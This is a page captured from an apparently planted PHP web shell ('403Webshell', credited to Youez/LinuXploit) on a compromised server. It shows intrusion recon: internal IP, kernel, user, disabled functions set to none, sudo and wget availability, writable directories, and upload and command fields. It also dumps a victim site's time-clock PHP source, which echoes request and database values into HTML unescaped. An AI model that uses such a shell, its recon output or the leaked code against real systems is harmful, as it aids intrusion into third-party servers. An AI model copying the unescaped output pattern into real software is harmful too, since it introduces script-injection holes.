403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/phonelesswork.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/phonelesswork.com/phone_add_user.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	$user = (object) array();
	if(!empty($_SESSION['company_db'])) {
		$use_7shift = false;
		$users_7shift = array();
		$user = (object) array();
		$company_id_res = $db->get_results("SELECT company_id FROM phonelesswork.timeclock_devices WHERE device_id='".$db->clean($_SESSION['company_db'])."'");
		if(!empty($company_id_res[0]->company_id)) {
			$res = $db->get_results("SELECT * FROM timeclock_all_pis_users WHERE company_id='".$db->clean($company_id_res[0]->company_id)."' AND serial_number='".$db->clean($_GET['serial'])."'");
		} else {
			$res = $db->get_results("SELECT * FROM timeclock_users_".$db->clean($_SESSION['company_db'])." WHERE serial_number='".$db->clean($_GET['serial'])."'");
		}
		if(!empty($res)) {
			$user = $res[0];
		}
		
		//check for 7shifts stuff
		$res = $db->get_results("SELECT api_7shift_key FROM timeclock_devices
								WHERE device_id='".$db->clean($_SESSION['company_db'])."'
								AND api_7shift='1'");
		if(!empty($res)) {
			if(!empty($res[0]->api_7shift_key)) {
				$use_7shift = true;
				$res = $db->get_results("SELECT id,firstname,lastname,mobile_phone,email,phonelesswork_employee_id
										FROM timeclock_{$_SESSION['company_db']}_7shifts_employees
										WHERE 1
										ORDER BY firstname ASC,lastname ASC");
				foreach($res as $r) {
					$users_7shift[] = $r;
				}
			}
		}
		if($use_7shift) {
			ob_start();
			?>
			<form onsubmit="update_device_info(this); return false;">
				<?php if(!empty($user->first_name)) { ?>
				<h3>Edit <?= $user->first_name;?>'s Device</h3>
				<?php } else { ?>
				<h3>New Device</h3>
				<?php } ?>
				<div style="margin:10px 0px;background:white;color:#2DADFB"><?= $_GET['serial'];?></div>
				<select name="id_7shift">
					<option value=""></option>
					<?php foreach($users_7shift as $u) { ?>
						<option value="<?= $u->id;?>" <?= (!empty($user->id) && $user->id==$u->phonelesswork_employee_id) ? 'selected' : '';?>><?= $u->firstname.' '.$u->lastname;?></option>
					<?php } ?>
				</select>
				<input type="hidden" name="serial" value="<?= $_GET['serial'];?>" />
				<div><input type="submit" name="submit" value="Save" class="submit_button" /></div>
			</form>
			<?php $body = ob_get_clean();
		} else {
			ob_start();
			?>
			<form onsubmit="update_device_info(this); return false;">
				<?php if(!empty($user->first_name)) { ?>
				<h3>Edit <?= $user->first_name;?>'s Device</h3>
				<?php } else { ?>
				<h3>New Device</h3>
				<?php } ?>
				<div style="margin:10px 0px;background:white;color:#2DADFB"><?= $_GET['serial'];?></div>
				<input type="hidden" name="serial" value="<?= $_GET['serial'];?>" />
				<div>Employee First Name</div>
				<div><input type="text" name="first_name" value="<?= $user->first_name;?>" /></div>
				<div>Employee Last Name</div>
				<div><input type="text" name="last_name" value="<?= $user->last_name;?>" /></div>
				<div>Employee Email</div>
				<div><input type="text" name="email" value="<?= $user->email;?>" /></div>
				<div>Employee Cell Phone #</div>
				<div><input type="text" name="phone" value="<?= $user->phone;?>" /></div>
				<div><input type="submit" name="submit" value="Save" class="submit_button" /></div>
			</form>
			<?php $body = ob_get_clean();
		}
	}
include('layout.php');

Youez - 2016 - github.com/yon3zu
LinuXploit